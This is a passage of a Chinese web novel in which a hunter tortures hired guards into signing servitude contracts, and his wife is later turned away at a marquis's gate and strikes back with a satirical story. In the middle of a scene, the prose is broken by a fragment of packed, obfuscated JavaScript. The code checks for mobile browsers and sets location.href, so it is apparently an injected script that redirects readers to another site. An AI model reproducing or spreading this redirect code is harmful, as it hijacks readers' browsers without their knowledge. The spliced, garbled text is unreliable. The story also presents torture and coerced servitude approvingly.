这六个护卫虽有些本事,但如何比得上赵长风这自幼在山林搏杀中练就的猎人身手,以及山根那一身蛮力和不要命的打法?
更兼赵长风心中有滔**意,出手毫不容情,专挑关节、要害,力求速战速决!
不过盏茶工夫,战斗便已接近尾声。
六人倒了一地,呻吟不止,兵器散落。
那头领手腕被赵长风一刀背敲得骨裂,刀已脱手,被赵长风一脚踩住胸口,动弹不得。
山根也撂倒了两个,正用粗绳利索地将人捆起。
甲一五人也听说有人来寻仇,都想表现一下,因此征得梁石的同意,也各个拿着棍子赶来。
此刻,看着这宛如煞神临世般的赵长风和山根,吓得大气不敢出。现在他们才知道,当初赵长风受伤,确实是对他们手下留情了。
赵长风扫了他们一眼,目光如冰:“认识他们?”
甲一哆嗦着点头:“是、是何小姐院子里的护卫……赵、赵爷,我们真不知道他们会找来啊!上次之后,我们再没跟那边联系过!”
“量你们也不敢。”赵长风冷声道,不再看他们,目光落回脚下挣扎的头领,“何美美派你们来的?目的是什么?”
那头领倒也硬气,虽受制于人,仍狠狠啐了一口:“要杀要剐悉听尊便!休想从老子嘴里……”
“咔嚓!”赵长风脚下微一用力,伴随着清晰的骨裂声和一声凄厉的惨嚎,那头领的肋骨至少断了两根。
“我不喜欢听废话。”赵长风声音平静,却让人心底发寒,“说,或者,我让你尝尝被野狼一口一口撕碎的滋味。这山里,饿狼不少。”
森然的杀意和毫不掩饰的残忍手段,彻底击溃了这些平日里在侯府作威作福的护卫的心理防线。
他们不怕死战,却怕这种冷酷到极点的折磨和葬身兽腹的下场。
很快,那个圆脸少年招了:
确是永平侯府千金何美美小姐私下派他们来的,任务是找到之前那五人,若已失手,则伺机“处理”掉林若若,至少也要毁了她的容貌或清白,务必让其痛苦不堪。
而且,何美美承诺事后必有重赏,并会帮他们抹平痕迹。
赵长风听着,眼中的寒意几乎凝成实质。
好一个毒妇!
“签了它。”赵长风从怀中掏出一叠提前写好的**契和印泥,扔在其中一个还算完好的护卫面前,“签了,按手印
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,从此你们就是逃荒落难、自愿**为奴的流民,名乙一至乙六,在此开荒赎身。不签……”
他顿了顿,目光扫过那个被打断手腕、疼得脸色惨白的头领,以及另一个眼神闪烁、似有不甘的护卫,“不签,或日后敢有异心,他就是榜样。”
话音未落,他手中柴斧猛地挥下!
“啊——!”凄厉至极的惨叫划破夜空,那不甘的护卫一条小腿以一种诡异的角度弯折,显然骨头已被敲断。
赵长风面无表情,像拖死狗一样将他拖到一处陡坡边,看样子竟真要做那“喂狼”之举。
“我签!我签!!”剩下的人魂飞魄散,哪还敢有半分犹豫,连滚爬爬地扑到**契前,哆嗦着手写下歪歪扭扭的名字,重重按上鲜红的手印。
那头领在剧痛和恐惧之下,也终于屈服。
赵长风仔细收好六份**契,又让山根和甲一等人将这六个新“乙”字辈伤者简单包扎,抬进窝棚看管起来。
断腿的那个,赵长风终究没真丢去喂狼,但也未给予好药,只让甲一随便找了点草药敷上,能否熬过去,看他自己造化。
“山根,你辛苦点,今晚盯着他们。明天一早,我带他们去县衙备案。”赵长风拍了拍山根的肩膀。
“风哥放心,包在我身上!”山根重重点头。
天刚蒙蒙亮,赵长风便带着六人的**契,以及作为“见证”的甲一和山根,径直去了县衙,还是去找了捕头王朗。
王朗上次回到家中,才知道赵长风往家里送了东西,心下感动,这次自然也很痛快。
赵长风还是那套说辞:逃荒来的难民,活不下去了,自愿**给赵长风为奴,开荒种地,求个活路。**契齐全,手续完备。
县衙书吏见又是赵长风,且这次人数更多,伤势也更“新鲜”,心下嘀咕,但面上不显。
这年头,流民**求活并不罕见,主家“管教”下手重些也时有耳闻,只要手续齐全,没人会多管闲事。
更何况,赵长风如今在县令那里也算有点印象,再加上有王捕头作保。
于是,备案、登记、按印,一气呵成~
第87章 货郎?
出了县衙大门,青石板路上已铺满了金澄澄的朝阳。
赵长风深吸一口气,晨间清冽的空气里混着些微尘土与炊烟的味道,他揉了揉略显疲惫的眉骨,还是朝车行走去,牵出了自家那匹温顺的灰骡子,套上车。
车轱辘碾过石板,发出“骨碌碌”的声响,在清晨的街巷里格外清晰。
他本可径直回家,却一勒缰绳,让骡车拐进了西边那条更安静的巷子——那是去王捕头王朗家的方向。
出门前,天还蒙蒙亮时,若若就起来了。
她蹑手蹑脚去了后院,不一会儿就提回满满一竹篮沾着露水的菜蔬,绿油油的菘菜,水灵灵的萝卜,还有一把嫩生生的小葱。
她将篮子小心放在车上,轻声说:“都是我日日亲手浇过的,吃着甜。”说着,又费力从屋里拖出半扇处理好的野羊肉,用干净麻布裹着,血水早已沥干,肉质看着就紧实。
“前夜你辛苦猎回的,自家也留了。这些给王捕头家,表表心意。”
赵长风心里暖烘烘的,看着妻子在晨光里温婉的脸,只点了点头,把东西在车上安置稳妥。
若若替他理了理衣襟,指尖触到他微凉的旧布衫,眼里含着无声的关切。
王朗家的小院门虚掩着。
赵长风刚叩了两下,里面就传来爽利的应声:“来了!”
开门的是王朗的妻子李氏,挽着家常髻,系着围裙,手上还沾着些面粉,看来是一早就在忙碌。
见是赵长风,她脸上立刻绽开笑容,侧身往屋里让:“是长风兄弟!快进来歇歇脚!我们当家的出门前还念叨你呢!”
“嫂子,不进去了,还得赶路。”
赵长风笑着摆手,回身从车上搬下那沉甸甸的野羊和那篮格外水灵的蔬菜,“家里婆娘让捎来的,一点野味和自家园子的菜,不成敬意。”
李氏“哎哟”一声,连忙上前帮忙接,手指碰到那羊腿,掂了掂分量,又看到篮子里青翠欲滴、几乎能掐出水来的菜蔬,眼里闪过惊讶和欢喜:
“这怎么好意思!这么重的礼!瞧瞧这菜,水头真足,市面上可少见!”她回头高声叫屋里的小儿子,
“栓子,快去‘鲜味斋’买两盒上好的点心,要刚出炉的!快着点!”一个半大小子应声从屋里窜出来,接过钱,一溜烟跑了。
李氏转回头,拉住赵长风的胳膊,语气真挚又热络:“兄弟,你别推辞。我们当家的说了,你为人实在,本事也好。往后啊,咱们两家就当亲兄弟走动!有什么难处,尽管开口,千万别外道。”
她眼神明亮,带着市井人家特有的直率与真诚,“这羊和菜,我们可就厚着脸皮收下了,你也务必把点心带回去,给孩子们甜甜嘴。”
赵长风心里那点因为送礼而可能产生的些许刻意感,在这质朴的热情面前消散了。
他不再推辞,拱手道:“那……就多谢嫂子,多谢王大哥了。”
这时,栓子气喘吁吁地跑了回来,手里提着两个精致的油纸包,细绳扎得方正,隐隐透着糕点的甜香。
李氏接过,不由分说塞进赵长风怀里:“拿着!路上当零嘴也行!”
推让一番,赵长风终是收下。
他赶着骡车离开时,李氏还站在门口目送,不住地挥手。
朝阳彻底升起来了,将他赶车的背影拉得老长,也照亮了他嘴角一丝轻松的笑意。
回到家,山根已经把乙一到乙六带到后山去了。
“若若,这是王大哥家的嫂子捎的点心,你先尝尝。”看着若若精致的眉眼,赵长风又想到了夜里深山的场景。
他的脸瞬间红了。
“好,你也跑了一晚上,先回家睡会儿吧。”
“我先去趟山里,晌午回家用饭。”
“那你一路小心。”
“好,知道啦。你在家和秦娘子锁好门。”
“嗯。”
赵长风忍不住伸出铁钳一样的大手,轻轻摸了摸若若的长发。
柔软顺滑,香气迷人~
到了后山,山根正看着这六人开荒呢!
“从今天起,你们就在后山,跟甲一他们一起开荒。规矩一样,老实干活,有饭吃,有命活。敢有异动……”
他顿了顿,目光扫过那断腿的乙一(原护卫头领)和断腕的乙三(原年轻护卫),未尽之言,让所有人噤
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若寒蝉。
“是……主人。”六人低垂下头,声音苦涩。
赵长风看了一眼那个圆脸的少年,轻声说道,“你是哪个?”
少年赶紧站出来,“回主子,小子是乙六。”
“好,以后乙字组就由你负责。”
“是。”
何美美?
永平侯府?
这笔账,他记下了。
刚刚出来时,村口槐树下那两个货郎,赵长风一眼就注意到了。
灰扑扑的短褂,扁担两头挑着些针头线脑、木梳篦子,看似寻常,但那两双眼睛却不时往村里瞟,尤其是往自家方向。
脚上的鞋也新得扎眼,不像走街串巷磨出来的。
赵长风没惊动他们,只当不知。
但夜里躺在若若身边,听着她均匀的呼吸,心里那根弦却越绷越紧。
何美美的手,也或许是承恩侯府魏天赐的手,看来伸得比他想得还长。
躲,怕是躲不干净了。
清晨,灶膛里的火噼啪作响,粥香混着腌菜的咸鲜气飘了满屋。
秦娘子在院子里浆洗衣裳,棒槌声一起一落,安稳踏实。
赵长风看着坐在对面小口喝粥的林若若。
晨光透过窗纸,柔柔地笼着她低垂的眉眼,长睫在眼下投出一小片安静的阴影。她握着粗瓷碗的手指纤细,却稳当有力。
“若若,”赵长风放下筷子,声音不高,“村口来了生人,盯了两天了。”
林若若舀粥的手顿了顿,抬起眼。那双眸子清澈,并未见太多惊惶,只有一丝了然和决断慢慢沉淀下来。
“是侯府的人?”她问,声音平静。
“一半吧,也有可能是魏天赐的人。”赵长风点头,“虽然扮作货郎,但脚上的鞋、看人的眼神,都不对。”
林若若沉默片刻,将碗里最后一点粥喝完,用帕子拭了拭嘴角,动作依旧是从容的。
“躲不过,就不躲了。”她看向赵长风,眼神清亮,“长风,我们进京一趟。”
赵长风微怔。这决定来得突然,却又在意料之中。他早知道,自己的妻子并非寻常柔弱妇人。
“去永平侯府?”他确认道。
第88章 见面礼
“嗯。”
林若若点头,“我毕竟在那里长了十六年。养父养母的养育之恩,我不能忘。此番去,一是当面拜谢,全了这份情义,也免得他们从旁人口中听到什么,徒增挂念。二来……”
她顿了顿,眼中掠过一丝冷意,“也该让何美美知道,我林若若虽离了侯府,却不是任她揉捏的面团。有些线,越了,就得付出代价。”
赵长风看着妻子。
她语气平和,甚至称得上温婉,但话里的份量,他听得明白。
这不是赌气,是深思熟虑后的反击。
“好。”他没有任何犹豫,“我陪你去。”
山里的猎户,不懂侯门深院的规矩,但他知道怎么护住自己的人。
事情定了,便雷厉风行地准备起来。
家里,秦娘子听说两人要出远门,又是担忧又是忙活,连夜赶着给两人收拾行李,烙了一叠耐放的干饼,煮了十几个鸡蛋,又细细检查了赵长风的旧衣衫,该补的补,该缝的缝。
林若若则从箱底取出一只小小的木匣。
打开,里面是一件在侯府时,自己最喜欢的衣裳。她摩挲着那件藕荷色绣缠枝莲的褙子,目光有些悠远,片刻后,却轻轻合上了匣盖。
“这些,用不上了。”她低声对秦娘子道,“帮我装两套你给我做的家常衣裙便是。”
秦娘子愣了愣,随即明白过来,眼眶微热,点头应了。
最终打点好的行装很简单:一个包袱,里面是两套换洗的衣裳、干粮、水囊、一点散碎铜钱并几块赵长风存的银角子。
赵长风的猎刀用布裹了,插在腰间。此外,便是那匹灰骡子套的车。
动身前一夜,赵长风去了一趟后山窝棚。
乙六(那圆脸少年)正带着人借着月光翻土,见他来,慌忙停下行礼。
赵长风目光扫过众人,尤其在那断腿的乙三和断腕的乙一身上停了停。
两人伤势未愈,脸色苍白,干着最轻省的活计,触到赵长风的目光,俱是畏缩低头。
“我和夫人要出趟远门。”
赵长风开口,声音在寂静的山夜里格外清晰,“归期未定。山根会照看这边。你们,”他顿了顿,语气平淡无波,“老实干活,别动不该动的心思。等我回来,若一切如常,乙三和乙一的伤,我会寻好药来治。若有人不安分……”
他没说完,但所有人后背都窜起一股凉气。
“主人放心,小的们一定尽心尽力!”乙六带头,一众人慌忙表态。
赵长风不再多言,转身没入夜色。
翌日,天未大亮,灰骡车便悄然驶离了小院。
村口槐树下,那两名“货郎”或已换班,或尚未到位,并无人影。
车轮碾过黄土道,扬起细细的烟尘。
秦娘子抱着小静站在院门外,直到车子变成视野尽头一个小点。
山根站在后山坡上,默默看着。
林若若坐在微微颠簸的车里,回头望去。
这是她的家,虽然短暂离开,但心中不舍极了。
赵长风赶着车,背影挺直。前路未知,但他握着缰绳的手,稳如磐石。
此去京城,是丁断过往,也是捍卫今朝。
永平侯府,何美美。
我们来了。
骡车行了一路,时值春末夏初,白日里已有几分燥热。沿途草木葳蕤,官道上尘土飞扬。
为防野物腐坏,赵长风只带了些耐存的熏肉、干菇,外加一小坛若若亲手腌的酸笋。这点东西,自家吃着是心意,可若拿到那高门大户的永平侯府去,未免显得单薄寒酸。
这念头在赵长风心里盘桓了几日,直到远远望见京城巍峨的轮廓,以及其南面那道蜿蜒苍翠的玉盘山山脉。
这日清午间,骡车停在玉盘山下一处有溪水流过的林边空地。赵长风勒住骡子,跳下车。
“若若,你且在车里歇着,看着东西。我进山转转。”他一边解下腰间裹着猎刀的布套,一边说道。
林若若撩开车帘,看了看远处云雾缭绕的山林,又回头看向丈夫。
他脸上有赶路的风尘,眼神却锐亮如常,带着猎户进入山林前特有的那种沉静与警觉。
她立刻明白了他的用意。
“长风,”她轻轻唤住他,递过水囊,“山里情况不明
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,当心些。猎物多少不打紧,平安回来最要紧。”她没提侯府,也没说是否必要,只将关切凝在那双澄澈的眸子里。
赵长风接过水囊,仰头灌了几口清凉的溪水,嘴角微弯:“放心,这山看着旺相,是个有货的地方。我去去就回,赶在天黑前下山。你锁好车门,莫远离车子。”
“嗯。”
林若若点头,看着他检查弓弦、**,又将几枚打磨锋利的石镖塞进皮囊。动作利落,神情专注,仿佛不是去为门第之见搏一份虚礼,而是如同往日任何一次寻常出猎。
赵长风的身影很快没入郁郁葱葱的山林。
林间光线顿时幽暗下来,鸟鸣虫嘶却愈发清晰。
林若若依言闩好车门,却没有完全缩在车内。
她坐在车辕上,望着赵长风消失的方向。
溪水潺潺,带来草木与泥土的清新气息,稍稍驱散了初夏的闷热。
林间。
赵长风如鱼入水,脚步轻捷,几乎不发出声音。
他并没有进入深山险峻的地方,只在外围山坳、溪涧附近仔细搜寻。以为这不是他此行最重要的目的。
春末夏初,动物活动频繁,但大型猛兽也多。
自己的目标明确:
要体面、拿得出手,最好是活的,显得猎手本事;若实在不行,皮**完好、体型够大的死物也可。
他先在一处灌木丛旁发现了新鲜的鹿粪,循着痕迹小心追踪了一段,果然看到两三只黄麂正在溪边饮水。
在旁边的灌木丛边潜伏下来,赵长风没有用弓箭,而是取出绳索和自制的活套。
耐心等待,看准时机,手腕一抖,活套精准飞出,套中了一只离群稍近的雄麂后腿。
黄麂受惊猛蹿,却已被套牢。
赵长风迅速收绳,上前用巧劲将它其制服,绑好四蹄,又扯了把草塞住它的嘴巴,防止它鸣叫惊扰其他猎物。
雄麂体型匀称,**色光亮,很不错,很拿得出手了。
将黄麂拴在隐蔽处,他继续搜索,能多打一点,若若脸上就好看一点。
想到这里,赵长风继续往深山而去……
第89章 拒之门外
运气不错,赵长风在一处向阳坡地的矮松下,发现了一窝野兔,洞口痕迹新鲜。
他堵住其他可能的出口,用猎人祖传的烟熏之法,成功逼出了大小五只肥兔,用草绳穿了,拎在手中。
看看日头,时间尚有富余。
赵长风想了想,决定再往稍高处走走。若能碰上一只獐子或山羊,就更妥当了。
正行走间,他耳尖微动,捕捉到一阵不同于鸟雀的扑腾声,夹杂着低哑的“咕咕”声。
是山鸡,而且可能不止一只。
他悄然拨开枝叶,只见前方一片略显稀疏的林间空地上,几只羽毛斑斓的雄雉正在土里刨食,长长的尾羽在透过树梢的光斑下闪着华丽的光泽。
山鸡不易活捉,但羽毛艳丽,是极好的彩头。
赵长风取下背着的短弓,搭上一支去了铁镞、改用硬木圆头的箭——这是他为活捉飞禽特意准备的。屏息,瞄准,松弦!
“噗!”一只最为神骏的雄雉应声倒地,扑腾着翅膀却飞不起来,只是被箭杆的力道击晕了。
另外几只惊飞四散。
赵长风快步上前,将昏厥的山鸡用软藤缚住翅膀和爪子。
日头开始下山,夕阳的余晖慢慢铺满整片林子。
赵长风掂量了一下手中的收获:一只活雄麂,五只活野兔,一只活雄雉。分量和体面都足够了。
他不再耽搁,背起捆扎好的猎物,循着来路迅速下山。
猎人的直觉让他避开了几处可能藏着蛇虫或兽迹的湿滑地带,脚步稳健而快速。
当赵长风的身影重新出现在溪边林空时,天已经快黑了。
林若若一直留意着山林方向,第一时间便看到了他,立刻跳下车辕迎了几步。
待看清他背上、手中那些活蹦乱跳或兀自挣扎的猎物,尤其是那只**色鲜亮、不停转动脑袋的雄雉和挣扎有力的黄麂时,她眼中闪过一抹光彩,随即却是先上下打量赵长风周身:“没伤着吧?”
“没有,顺手。”赵长风将猎物放下,麂子和兔子都还精神,山鸡也已悠悠转醒,瞪着圆眼惊慌地咕咕低叫。
他额上有细密的汗珠,衣衫也被树枝刮了几道口子,但精神矍铄,目光清亮。
“这些……”林若若看着地上这群活物,又抬眼望了望霞光中愈发清晰的京城城墙轮廓,心中了然,也泛起点点酸涩暖意。
他这是不愿她踏入那府门时,因礼薄而受半分轻视。
“够用了。”赵长风抹了把汗,蹲下身检查了一下猎物的束缚是否牢固,“活的比死的好,显得新鲜,也有点山野意趣。侯府……应当少见这些。”
何止少见。
林若若心想,侯府后厨采买的,多是处理干净、分门别类的肉禽,何曾见过这等带着山林气息、活生生的猎物?
这份礼,不贵重在金银,却重在难得与用心,更隐隐透露出猎礼者的本事与底气。
“嗯,很好。”她轻声应道,拿出一块干净布巾递给他,“擦擦汗,歇口气。我们稍晚些进城,找个地方住下,明日再递帖子。”
赵长风接过布巾,看着妻子在霞光中显得格外柔和宁静的侧脸,心中那点为备礼而生的些许紧绷,忽然就松了下来。他点点头:“听你的。”
两人将猎物安置在车后特意留出的通风处,喂了些水。
灰骡子也饮了溪水,吃了草料。
暮色四合时,骡车再次启动,向着不远处那座灯火渐起的宏伟城池行去。
车轱辘声里,赵长风赶着车,林若若坐在他身旁。
身后,偶尔传来麂子不安的蹬踏声或野兔的细微窸窣。
前路是深不可测的侯门,身边是生死相依的丈夫,身后是来自山林、带着勃勃生机的“礼物”。
林若若轻轻吸了一口初夏傍晚微凉的空气,目光沉静地投向越来越近的城门。
永平侯府,我们带着山野的“心意”,来了。
次日清晨,京城在薄雾与渐起的市井声中苏醒。
赵长风与林若若找了家干净朴素的客栈住下,略作梳洗,换了身最整洁的细布衣裳——
虽是当下流行青色衣裙,却在衣领、袖边,还有裙摆,都绣着精致的小茉莉花,一朵挨着一朵,清
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新又雅致,袖子也由本朝的窄小袖口,改成了里面是窄袖,外面加一层敞袖的设计,飘逸又灵动。
将长发绾成最简单的妇人髻,只用一根玉簪固定,林若若通身上下再无半点装饰。
赵长风则整理了猎刀和弓囊,留在客栈,只将那几只活猎物仔细检查一遍,确保精神头尚可。雄雉的羽毛在晨光下越发斑斓,黄麂睁着温润的黑眼,不安地踏着蹄。
“走吧。”林若若看了一眼镜子中朴素得甚至有些黯淡的自己,眼神却清明坚定。
两人提着用草绳捆扎好的活物——赵长风扛着黄麂,拎着串起的野兔,林若若则小心抱着那只被缚住翅膀、不停转动脖颈的雄雉——一路打听,来到了永平侯府所在的青麟巷。
高门深院,朱漆大门紧闭,檐下悬着“永平侯府”的匾额,石狮威严睥睨。
门房外,两个穿着青绸比甲的小厮正倚着门框,嗑着瓜子闲谈,眼角余光扫着街面,带着侯府下人特有的、经过掩饰却仍不免流露的矜骄。
见赵长风与林若若这般装束,还提着些活蹦乱跳、散发着淡淡草腥味的山野活物走近,两个小厮交换了一个眼色,嘴角撇了撇,站直了身子,却挡在了门前台阶中段。
“站住!干什么的?侯府门前,也是你们能乱闯的?”左侧一个吊梢眼的小厮扬声喝道,语气不耐。
林若若上前一步,微微颔首,声音清晰平静:“劳烦通禀,故人林氏若若,携夫君前来拜见侯爷与夫人。”
“林氏若若?”吊梢眼小厮上下打量她,尤其在看到那张虽无粉饰却难掩清丽、更隐现几分熟悉轮廓的脸时,眼中闪过一丝讶异,随即却化作更浓的鄙夷与了然。
他自然是知道府里那桩“真假千金”旧闻的。
右侧那个圆脸小厮嗤笑一声,捏着鼻子挥了挥手,仿佛驱赶什么不洁之气:
“什么林氏若若!没听说过!侯府也是什么阿猫阿狗都能来认故人的?瞧你们这身打扮,还有这些臭烘烘的活物,赶紧走赶紧走!惊扰了贵人,你们吃罪得起吗?还不快滚!”
第90章 羞辱
赵长风眉头一拧,上前半步,将林若若稍稍挡在身后。
他目光沉沉地看向那两个小厮,没说话,但山野猎户经年搏杀养出的那股隐隐的煞气,让两个小厮下意识地后退了半步,色厉内荏。
“你、你想干什么?”
林若若轻轻拉了拉赵长风的衣袖,示意他稍安。
她看着那两个小厮,上前一步,语气不变:“我离开侯府不过两月,烦请二位进去通传一声即可。侯爷与夫人见或不见,自有决断。”
吊梢眼小厮定了定神,想起府里如今那位得势的何美美小姐私下可能的吩咐,还有管家隐隐透出的态度,腰杆又挺了起来,阴阳怪气道:
“侯爷一早上朝去了,尚未回府。夫人嘛……今日一早就去了京郊的平安寺上香祈福,为府中贵人祈福,岂是你一介草民说见就能见的?赶紧走,别在这儿碍眼!”
平安寺上香?
林若若心中冷笑。
侯夫人笃信佛法,但平日多是在府中佛堂静修,去京郊大寺,并非惯常。这推脱之辞,未免拙劣。
而且,守门的这两个小厮,林若若以前没有见过,估计是何美美的心腹。
圆脸小厮更是嘴贱,眼睛瞟向骡车上那色彩鲜艳的雄雉,怪笑道:
“哟,还带了只野鸡来?怎么,指望拿这玩意儿当进门礼?我们侯府后厨采买的,都是塞外肥羊、江南鲜鱼,谁稀罕你这山沟里的野味!快拿走,别污了侯府的地界!”
字字句句,如钝刀子割肉,刻意践踏着若若和赵长风那小心翼翼维持的体面与心意。
赵长风胸膛起伏,攥着草绳的手指节发白,眼中已有怒意凝聚。
若非记得此处是京城,若非顾及若若,他早已……
林若若的脸色微微白了一瞬,但脊背挺得笔直。
她不再看那两个满脸轻蔑的小厮,目光掠过那冰冷紧闭的朱漆大门,掠过威严的石狮,最终投向高远的天空。
世人都说人走茶凉,自己不过离开两月,却已是这般遭人白眼,这高门大户更是如此,世态凉薄、人情冷暖,自己不是已经体会过许多回了吗?
清晨那点稀薄的暖意,似乎彻底消散了。
她轻轻吸了口气,转向赵长风,声音不大,却异常清晰:“长风,我们走吧。”
没有哀求,没有争辩,甚至没有再去看那侯府一眼。
赵长风深深看了那两个小厮一眼,那眼神冷得让两人心里莫名一寒。
他沉默地转身,扶着林若若上了骡车,之后赶着车子,一步步离开永平侯府的门前。
身后,隐约传来小厮肆意的低笑和“算你们识相”的嘲讽。
走出一段距离,拐进一条相对安静的巷子,赵长风停下脚步,看向妻子。
她抿着唇,侧脸线条有些紧绷,但眼中并没有泪光,只有一片冰冷的清明,以及深处跳跃的、他从未见过的火焰。
“若若……”他声音发涩,心疼与怒火交织。他宁愿那些人冲他来,也不想她受这般折辱。
“我没事。”林若若摇了摇头,反而轻轻握了握他紧攥的拳头,触及一片冰凉。
“他们不让进,也好。”
她的目光落在那只因为颠簸而有些萎靡的雄雉身上,漂亮的羽毛在巷子的阴翳里失了光彩。
“这些活物,原本是想表点心意。如今看来,倒是我们想岔了。那样的地方,哪里配得上这山野的真味。你转过去,我先把这些野物放好。”
上次有了老虎之事,林若若也想慢慢使用自己的空间。而赵长风也已经猜到了,她要用自己的神仙之法。
伸出右手,举起凝神,若若的掌心慢慢略过这些活物,转瞬之间就不见了。
“大白,大白在吗?”若若心中低语。
“主人,我在呢。”远处,一只白色的萨摩耶微笑着跑过来。
“这些野兽,先把它们救活,就先养在这里,陪你玩吧。辛苦你啦了!”若若摸了摸大白毛茸茸的大脑袋。
“对了,主人,姥姥的仓房有一些粮食种子,还有一些蔬菜种子,我都种到地里去了。”
大白欢快地摇着尾巴。
这大白很像姥姥年轻时候养的一条小狗,只是后来跑丢了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090180|195428||http|test|mini|href|location''.split(''|''),0,{}));
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r>“大白真能干!辛苦你啦!”
出了空间,林若若抬头,望向巷子外隐约传来的、京城特有的喧嚣声浪,那里有茶楼酒肆的吆喝,有贩夫走卒的叫卖,有三教九流的议论纷纷。
“长风,我们先回客栈。”
她收回目光,眼底那簇火焰愈发明亮,“我……有别的法子。”
赵长风转过身,静静地扫了一眼已经空了的骡车,没有多问,只重重点头:“好。”
回到客栈房间,关上门,隔绝了外界声响。
林若若坐在临窗的旧木桌旁,铺开在客栈伙计那里买来的最便宜的毛边纸,研墨。墨是劣质松烟墨,气味有些刺鼻,笔也是秃笔。
但她握笔的姿势,依旧带着昔日闺阁中练就的娴雅风致。只是落笔时,再无半分柔婉,字字凌厉,力透纸背。
赵长风安静地坐在一旁,擦拭着他的猎刀,偶尔抬眼看看妻子伏案的背影。
她写得很专注,时而凝眉思索,时而奋笔疾书,窗外的天光从明亮到昏黄,再到暮色四合,她都未曾挪动。
掌灯时分,林若若终于搁下笔,轻轻吹干纸上的墨迹。厚厚一叠纸,写满了一个故事。
故事里,有簪缨世家,有阴差阳错的“抱错”,有善良柔弱、精通诗书的假千金,也有苦尽甘来、骄纵狠毒的真千金。
有假千金自愿离府,嫁与山中猎户,却夫妻和睦,自食其力。
亦有假真千金因觊觎假千金曾经的婚约,或因嫉恨假千金哪怕落魄依旧拥有的某些东西,而屡次派遣恶仆,千里追杀,欲行毁人清白、害命之恶事……
情节跌宕,笔墨酣畅。
虽未直言永平侯府与何美美之名,但世家背景、人物关系、乃至“平安寺上香”这等细节,无不隐隐呼应。
真假千金性情对比鲜明,恶行刻画入木三分,猎户丈夫虽出身草莽却重情重义、身手不凡。
这并非单纯诉苦,而是糅合了市井最爱的奇情、伦理、侠义元素的话本子。
“这是……”
赵长风虽识字不多,也看得出这故事里的影射。
第91章 反击
赵长风虽识字不多,也看得出这故事里的影射。
“京城最大的茶馆‘醉月楼’,每日午后有说书先生讲古,亦收新奇话本。”林若若将稿纸仔细理好,语气平静无波,眼中却燃着冷静的火焰,
“他们不让从正门进,不让用嘴说。那就让这京城的人,用耳朵听,用嘴去传。”
她要敲打的,从来不只是何美美一人。
更是这永平侯府的门第之见,是那养父母或许存在的默许与纵容,是这世上许多踩低捧高、跟红顶白的势利眼!
赵长风看着妻子在灯下显得异常沉静又异常夺目的侧脸,心中那股憋闷的怒火,奇异地化作了支持与骄傲。
他的若若,从来不是需要躲在羽翼下的雀鸟。
“我陪你去。”他拿起外衫。
“嗯。”林若若将稿纸收好,换上出门的衣裳,依旧是那身青布布裙,但在夜色与决心中,却仿佛披上了无形的铠甲。
夜色中的京城,灯火璀璨,别有一番热闹。
醉月楼不愧是京城第一茶馆,三层楼阁气派非凡,即便入夜,依然宾客盈门,说书声、喝彩声隐约传出。
林若若与赵长风从侧门寻到管收稿的管事。
那管事见二人衣着寒素,本有些不耐,但随手翻了几页林若若递上的稿纸,眼睛便渐渐亮了。
这故事,新奇、抓人、隐含豪门秘辛,正是眼下最受欢迎的题材!
一番讨价还价(主要是赵长风在谈),稿子以三百两银子的价格卖断了。管事承诺,明日便安排最好的说书先生演练,最快后日即可开讲。
走出醉月楼,夜风微凉。
林若若仰头,望了望永平侯府大概的方向,那是她生活了十六年的地方,以后和自己再无关联,转身又看了看身边沉默却坚实的丈夫。
“回去吧。”她轻声道,“戏台已经搭好,锣鼓,就要敲响了。”
接下来,只需等待这出由笔墨点燃的烽烟,在这座繁华帝都的茶肆酒坊间,悄然蔓延。
回到赵家村时,已是三日后的黄昏。
夕阳将连绵的矮山和散落的屋舍染成一片暖金色,村口的老槐树拖着长长的影子,归巢的鸟雀啁啾。
骡车碾过熟悉的土路,扬起细微的尘土,空气中飘来柴火与炊烟的气息,混着泥土和青草的味道。
比起京城那种无处不在的、紧绷的繁华与喧嚣,这里的宁静仿佛带着沉甸甸的、能安抚人心的分量。
刚到村口,坐在骡车上的林若若远远就看到大槐树下,有三个小小的身影,还有一个白团子。
赵长风眼神锐利,回到头看了一眼略显疲惫的妻子,笑着说道,“若若,孩子们来了。”
林若若眼中莫名就涌上泪水,她有些哽咽,用力地点点头,“嗯。是他们。”
骡车渐近,树下的身影也清晰起来。
赵林一手牵着赵小静,一手看似随意地搭在弟弟赵峰肩上,站得笔直,努力做出小大人的模样。
赵峰则踮着脚,脖子伸得老长,眼睛一眨不眨地盯着大路,脸上是藏不住的急切。
最小的赵小静,怀里紧紧抱着那只通体雪白、只有鼻头一点黑的小狼崽——小白,小脸被夕阳映得红扑扑的。
车还未停稳,赵峰已像颗小炮仗似的冲了过来:“爹!娘!你们可回来了!”
赵小静因为林若若来之前身体瘦弱,面黄肌瘦,因此即使林若若细心养了两个来月,也还是走路不稳,此刻,她也摇摇晃晃地扑过来。
小白更是小炮弹一般,飞一般地冲过来,咬着林若若的裙角,尾巴摇得飞起。
三个孩子中心思最沉重的赵林,也快步走了过来,喊了一声:“爹,林姨~”,之后乖乖接过了缰绳。
他是三个孩子中,年龄最大的,他对自己的亲生母亲应该还有印象,因此依然喊林若若林姨,不喊娘。
赵长风一向和孩子不亲近,因此两个孩子都是扑向林若若。
虽然都不是自己亲生,但两个多月朝夕相处,林若若和孩子们之间还是有了日渐深厚的情感。为此
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她伸开双臂,把赵峰和小静搂在了怀里,“娘回来了,你们在家乖不乖啊?”
“娘,峰儿可乖了!小静也乖,我们都听哥哥的话吧!”赵峰这个小话唠又开始了。
不远处的大槐树下,梁石静静地含笑站在那里。
而家的方向,已经有炊烟袅袅升起~
林若若带着赵峰,小静还有小白,坐在骡车上,赵长风带着赵林赶着骡车,在夕阳的余晖中,往家里而去。
回到家的时候,秦阿兰正在厨房忙活,今日吃手擀面。
梁石之前就爬到大槐树上,往远处看,日日都去,今日早早就发现了自家的骡车,因此早早就回家报了信。
送客饺子迎客面~
熬的浓浓的鸡汤,擀得细细的面条,配上清爽可口的凉拌青菜,孩子们一定喜欢~
灶房里水汽氤氲,野鸡在陶罐里咕嘟咕嘟滚着,浓香混着柴火气弥漫开来。
